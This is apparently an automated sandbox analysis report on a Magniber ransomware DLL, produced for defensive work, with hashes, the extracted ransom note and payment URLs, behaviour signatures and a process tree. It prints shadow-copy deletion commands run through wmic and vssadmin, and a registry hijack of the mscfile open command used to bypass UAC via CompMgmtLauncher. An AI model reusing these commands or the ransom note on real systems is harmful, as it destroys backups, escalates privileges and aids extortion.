Analysis
-
max time kernel
121s -
max time network
150s -
platform
windows7_x64 -
resource
win7-en-20211104 -
submitted
24-11-2021 05:42
Static task
static1
Behavioral task
behavioral1
Sample
fabubbjd.inf.dll
Resource
win7-en-20211104
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
fabubbjd.inf.dll
Resource
win10-en-20211014
windows10_x64
0 signatures
0 seconds
General
-
Target
fabubbjd.inf.dll
-
Size
39KB
-
MD5
b086c689ad65afd62dadcf6a1fb799a3
-
SHA1
de77db799a7bc43bb7c6208cfdd58e8457cf1061
-
SHA256
612cd74d2ed040ec2958e78ae80b39231f4eb130e2ddb74c8d90a2c1fddd1fa0
-
SHA512
1b3ba45981151b5c8e89f93b84fdf0ce54e2d9bbbfa18bc2e0d0af2e3dccb4dc6d070640c6b3c7970c1c9d2bb2c109bfce12f99cd402975ae97982f6fa680aca
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Desktop\readme.txt
Family
magniber
Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!
====================================================================================================
Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.
Any attempts to restore your files with the third party software will be fatal for your files!
====================================================================================================
To receive the private key and decryption program follow the instructions below:
1. Download "Tor Browser" from https://www.torproject.org/ and install it.
2. In the "Tor Browser" open your personal page here:
http://a0eca668162cd6801actzpapmiv.3g5twxggjkc76oy6itmdvhliayffjfv23vg3rp372nn7ohfnnylfclid.onion/ctzpapmiv
Note! This page is available via "Tor Browser" only.
====================================================================================================
Also you can use temporary addresses on your personal page without using "Tor Browser":
http://a0eca668162cd6801actzpapmiv.vansban.space/ctzpapmiv
http://a0eca668162cd6801actzpapmiv.hemore.uno/ctzpapmiv
http://a0eca668162cd6801actzpapmiv.trapbe.quest/ctzpapmiv
http://a0eca668162cd6801actzpapmiv.hotgame.fit/ctzpapmiv
Note! These are temporary addresses! They will be available for a limited amount of time!
URLs
http://a0eca668162cd6801actzpapmiv.3g5twxggjkc76oy6itmdvhliayffjfv23vg3rp372nn7ohfnnylfclid.onion/ctzpapmiv
http://a0eca668162cd6801actzpapmiv.vansban.space/ctzpapmiv
http://a0eca668162cd6801actzpapmiv.hemore.uno/ctzpapmiv
http://a0eca668162cd6801actzpapmiv.trapbe.quest/ctzpapmiv
http://a0eca668162cd6801actzpapmiv.hotgame.fit/ctzpapmiv
Signatures
-
Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
-
Process spawned unexpected child process 12 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1944 1356 cmd.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 568 1356 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 952 1356 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2124 1356 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2132 1356 cmd.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2320 1356 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2532 1356 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2612 1356 cmd.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2736 1356 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2880 1356 vssadmin.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2928 1356 cmd.exe 37 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3068 1356 vssadmin.exe 37 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 3 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\RequestPop.tif => C:\Users\Admin\Pictures\RequestPop.tif.ctzpapmiv Dwm.exe File opened for modification C:\Users\Admin\Pictures\UnlockNew.tiff Dwm.exe File renamed C:\Users\Admin\Pictures\UnlockNew.tiff => C:\Users\Admin\Pictures\UnlockNew.tiff.ctzpapmiv Dwm.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1620 set thread context of 1104 1620 rundll32.exe 11 PID 1620 set thread context of 1156 1620 rundll32.exe 16 PID 1620 set thread context of 1188 1620 rundll32.exe 15 -
Interacts with shadow copies 2 TTPs 8 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2880 vssadmin.exe 3068 vssadmin.exe 568 vssadmin.exe 952 vssadmin.exe 2124 vssadmin.exe 2320 vssadmin.exe 2532 vssadmin.exe 2736 vssadmin.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{E8E0C5D1-4CE9-11EC-983A-D22D6BAA1632} = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bb601b266500a1439caac4cd216a44ab00000000020000000000106600000001000020000000595a8e294cfe917da40ab661e55d121ef88ea1c5970e6bb3c3df20abc06013b2000000000e800000000200002000000084cbeeefd19b8fb9a56d07c82841b8b3b95ddbda78495377a06bdff1e25b88a720000000535b60822972ac1f716a3905661bd19b441f47ea34273fe62ee76d7c9965bfe94000000015357ee4a5e3a1da4eab68f0bb7a00a8c09e4fe716fc730c2076de2cbb975cf8358330fa5d5515edfef5aad009f40ee78cfa8737848ed03ced998e143cc7be67 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 500272c1f6e0d701 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bb601b266500a1439caac4cd216a44ab00000000020000000000106600000001000020000000fffac2893280ac60e6d5b12ff3068bc436fd7ebda5c712dac827c21f02bdfda1000000000e8000000002000020000000f09214e8b16a191b2952ff41c409eb631e5766a9663b54a6773fbf28dd5119b19000000058c0d3e6c0c7ae51f9aba1b89caa0d281082389e79362a4582cae5550f15124325c4d619ecdf4f476d85c69b137897bcc134b68e6bed82df249d41d79ad69fee76f62670a702c467f4c4b07dd61182ecbcfc74754f22d8e8d111a615a2a73a7101d6ebfa2988f103aa396d5afda900da7ce529248f6197c361c2f92f1e4f575326c6dd0ceda26aa0ac4a7084da794bc740000000fe30a3360855af33fe511bcc6acbf0bfd9e4fe1955716514202bc2187e3b86c859a06910d5a88bce75592de757b5db132bbb1df24852641ce5abe9758d0d2631 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "344497782" iexplore.exe -
Modifies registry class 11 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile Dwm.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command taskhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" taskhost.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command rundll32.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command Dwm.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell Dwm.exe Key created \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open Dwm.exe Set value (str) \REGISTRY\USER\S-1-5-21-103686315-404690609-2047157615-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Dwm.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 428 notepad.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1620 rundll32.exe 1620 rundll32.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1188 Explorer.EXE -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 1620 rundll32.exe 1620 rundll32.exe 1620 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1188 Explorer.EXE Token: SeShutdownPrivilege 1188 Explorer.EXE Token: SeShutdownPrivilege 1188 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1820 WMIC.exe Token: SeSecurityPrivilege 1820 WMIC.exe Token: SeTakeOwnershipPrivilege 1820 WMIC.exe Token: SeLoadDriverPrivilege 1820 WMIC.exe Token: SeSystemProfilePrivilege 1820 WMIC.exe Token: SeSystemtimePrivilege 1820 WMIC.exe Token: SeProfSingleProcessPrivilege 1820 WMIC.exe Token: SeIncBasePriorityPrivilege 1820 WMIC.exe Token: SeCreatePagefilePrivilege 1820 WMIC.exe Token: SeBackupPrivilege 1820 WMIC.exe Token: SeRestorePrivilege 1820 WMIC.exe Token: SeShutdownPrivilege 1820 WMIC.exe Token: SeDebugPrivilege 1820 WMIC.exe Token: SeSystemEnvironmentPrivilege 1820 WMIC.exe Token: SeRemoteShutdownPrivilege 1820 WMIC.exe Token: SeUndockPrivilege 1820 WMIC.exe Token: SeManageVolumePrivilege 1820 WMIC.exe Token: 33 1820 WMIC.exe Token: 34 1820 WMIC.exe Token: 35 1820 WMIC.exe Token: SeIncreaseQuotaPrivilege 1744 wmic.exe Token: SeSecurityPrivilege 1744 wmic.exe Token: SeTakeOwnershipPrivilege 1744 wmic.exe Token: SeLoadDriverPrivilege 1744 wmic.exe Token: SeSystemProfilePrivilege 1744 wmic.exe Token: SeSystemtimePrivilege 1744 wmic.exe Token: SeProfSingleProcessPrivilege 1744 wmic.exe Token: SeIncBasePriorityPrivilege 1744 wmic.exe Token: SeCreatePagefilePrivilege 1744 wmic.exe Token: SeBackupPrivilege 1744 wmic.exe Token: SeRestorePrivilege 1744 wmic.exe Token: SeShutdownPrivilege 1744 wmic.exe Token: SeDebugPrivilege 1744 wmic.exe Token: SeSystemEnvironmentPrivilege 1744 wmic.exe Token: SeRemoteShutdownPrivilege 1744 wmic.exe Token: SeUndockPrivilege 1744 wmic.exe Token: SeManageVolumePrivilege 1744 wmic.exe Token: 33 1744 wmic.exe Token: 34 1744 wmic.exe Token: 35 1744 wmic.exe Token: SeIncreaseQuotaPrivilege 1820 WMIC.exe Token: SeSecurityPrivilege 1820 WMIC.exe Token: SeTakeOwnershipPrivilege 1820 WMIC.exe Token: SeLoadDriverPrivilege 1820 WMIC.exe Token: SeSystemProfilePrivilege 1820 WMIC.exe Token: SeSystemtimePrivilege 1820 WMIC.exe Token: SeProfSingleProcessPrivilege 1820 WMIC.exe Token: SeIncBasePriorityPrivilege 1820 WMIC.exe Token: SeCreatePagefilePrivilege 1820 WMIC.exe Token: SeBackupPrivilege 1820 WMIC.exe Token: SeRestorePrivilege 1820 WMIC.exe Token: SeShutdownPrivilege 1820 WMIC.exe Token: SeDebugPrivilege 1820 WMIC.exe Token: SeSystemEnvironmentPrivilege 1820 WMIC.exe Token: SeRemoteShutdownPrivilege 1820 WMIC.exe Token: SeUndockPrivilege 1820 WMIC.exe Token: SeManageVolumePrivilege 1820 WMIC.exe Token: 33 1820 WMIC.exe Token: 34 1820 WMIC.exe Token: 35 1820 WMIC.exe Token: SeIncreaseQuotaPrivilege 1744 wmic.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 1640 iexplore.exe 1188 Explorer.EXE 1188 Explorer.EXE -
Suspicious use of SendNotifyMessage 2 IoCs
pid Process 1188 Explorer.EXE 1188 Explorer.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1640 iexplore.exe 1640 iexplore.exe 2036 IEXPLORE.EXE 2036 IEXPLORE.EXE 2036 IEXPLORE.EXE 2036 IEXPLORE.EXE -
Suspicious use of UnmapMainImage 2 IoCs
pid Process 1188 Explorer.EXE 1188 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1156 wrote to memory of 428 1156 Dwm.exe 28 PID 1156 wrote to memory of 428 1156 Dwm.exe 28 PID 1156 wrote to memory of 428 1156 Dwm.exe 28 PID 1156 wrote to memory of 956 1156 Dwm.exe 29 PID 1156 wrote to memory of 956 1156 Dwm.exe 29 PID 1156 wrote to memory of 956 1156 Dwm.exe 29 PID 1156 wrote to memory of 1744 1156 Dwm.exe 30 PID 1156 wrote to memory of 1744 1156 Dwm.exe 30 PID 1156 wrote to memory of 1744 1156 Dwm.exe 30 PID 1156 wrote to memory of 1124 1156 Dwm.exe 31 PID 1156 wrote to memory of 1124 1156 Dwm.exe 31 PID 1156 wrote to memory of 1124 1156 Dwm.exe 31 PID 1124 wrote to memory of 1820 1124 cmd.exe 34 PID 1124 wrote to memory of 1820 1124 cmd.exe 34 PID 1124 wrote to memory of 1820 1124 cmd.exe 34 PID 956 wrote to memory of 1640 956 cmd.exe 36 PID 956 wrote to memory of 1640 956 cmd.exe 36 PID 956 wrote to memory of 1640 956 cmd.exe 36 PID 1944 wrote to memory of 936 1944 cmd.exe 41 PID 1944 wrote to memory of 936 1944 cmd.exe 41 PID 1944 wrote to memory of 936 1944 cmd.exe 41 PID 936 wrote to memory of 1724 936 CompMgmtLauncher.exe 47 PID 936 wrote to memory of 1724 936 CompMgmtLauncher.exe 47 PID 936 wrote to memory of 1724 936 CompMgmtLauncher.exe 47 PID 1640 wrote to memory of 2036 1640 iexplore.exe 49 PID 1640 wrote to memory of 2036 1640 iexplore.exe 49 PID 1640 wrote to memory of 2036 1640 iexplore.exe 49 PID 1640 wrote to memory of 2036 1640 iexplore.exe 49 PID 1188 wrote to memory of 992 1188 Explorer.EXE 52 PID 1188 wrote to memory of 992 1188 Explorer.EXE 52 PID 1188 wrote to memory of 992 1188 Explorer.EXE 52 PID 1188 wrote to memory of 1732 1188 Explorer.EXE 53 PID 1188 wrote to memory of 1732 1188 Explorer.EXE 53 PID 1188 wrote to memory of 1732 1188 Explorer.EXE 53 PID 1732 wrote to memory of 1920 1732 cmd.exe 56 PID 1732 wrote to memory of 1920 1732 cmd.exe 56 PID 1732 wrote to memory of 1920 1732 cmd.exe 56 PID 2132 wrote to memory of 2188 2132 cmd.exe 62 PID 2132 wrote to memory of 2188 2132 cmd.exe 62 PID 2132 wrote to memory of 2188 2132 cmd.exe 62 PID 2188 wrote to memory of 2260 2188 CompMgmtLauncher.exe 63 PID 2188 wrote to memory of 2260 2188 CompMgmtLauncher.exe 63 PID 2188 wrote to memory of 2260 2188 CompMgmtLauncher.exe 63 PID 1104 wrote to memory of 2452 1104 taskhost.exe 67 PID 1104 wrote to memory of 2452 1104 taskhost.exe 67 PID 1104 wrote to memory of 2452 1104 taskhost.exe 67 PID 1104 wrote to memory of 2464 1104 taskhost.exe 70 PID 1104 wrote to memory of 2464 1104 taskhost.exe 70 PID 1104 wrote to memory of 2464 1104 taskhost.exe 70 PID 2464 wrote to memory of 2552 2464 cmd.exe 73 PID 2464 wrote to memory of 2552 2464 cmd.exe 73 PID 2464 wrote to memory of 2552 2464 cmd.exe 73 PID 2612 wrote to memory of 2644 2612 cmd.exe 76 PID 2612 wrote to memory of 2644 2612 cmd.exe 76 PID 2612 wrote to memory of 2644 2612 cmd.exe 76 PID 2644 wrote to memory of 2684 2644 CompMgmtLauncher.exe 77 PID 2644 wrote to memory of 2684 2644 CompMgmtLauncher.exe 77 PID 2644 wrote to memory of 2684 2644 CompMgmtLauncher.exe 77 PID 1620 wrote to memory of 2784 1620 rundll32.exe 81 PID 1620 wrote to memory of 2784 1620 rundll32.exe 81 PID 1620 wrote to memory of 2784 1620 rundll32.exe 81 PID 1620 wrote to memory of 2796 1620 rundll32.exe 82 PID 1620 wrote to memory of 2796 1620 rundll32.exe 82 PID 1620 wrote to memory of 2796 1620 rundll32.exe 82
Processes
-
C:\Windows\system32\taskhost.exe"taskhost.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵PID:2452
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:2464 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:2552
-
-
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1188 -
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\fabubbjd.inf.dll,#12⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1620 -
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2784
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵PID:2796
-
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵PID:2860
-
-
-
-
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵PID:992
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1732 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:1920
-
-
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1156 -
C:\Windows\system32\notepad.exenotepad.exe C:\Users\Public\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:428
-
-
C:\Windows\system32\cmd.execmd /c "start http://a0eca668162cd6801actzpapmiv.vansban.space/ctzpapmiv^&1^&43661138^&75^&313^&12"2⤵
- Suspicious use of WriteProcessMemory
PID:956 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://a0eca668162cd6801actzpapmiv.vansban.space/ctzpapmiv&1&43661138&75&313&123⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1640 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1640 CREDAT:275457 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2036
-
-
-
-
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1744
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1820
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1944 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:936 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1724
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:568
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:1380
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:952
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2124
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2132 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2188 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2260
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2320
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2532
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2612 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2644 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2684
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2736
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2880
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
PID:2928 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2972
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:3016
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:3068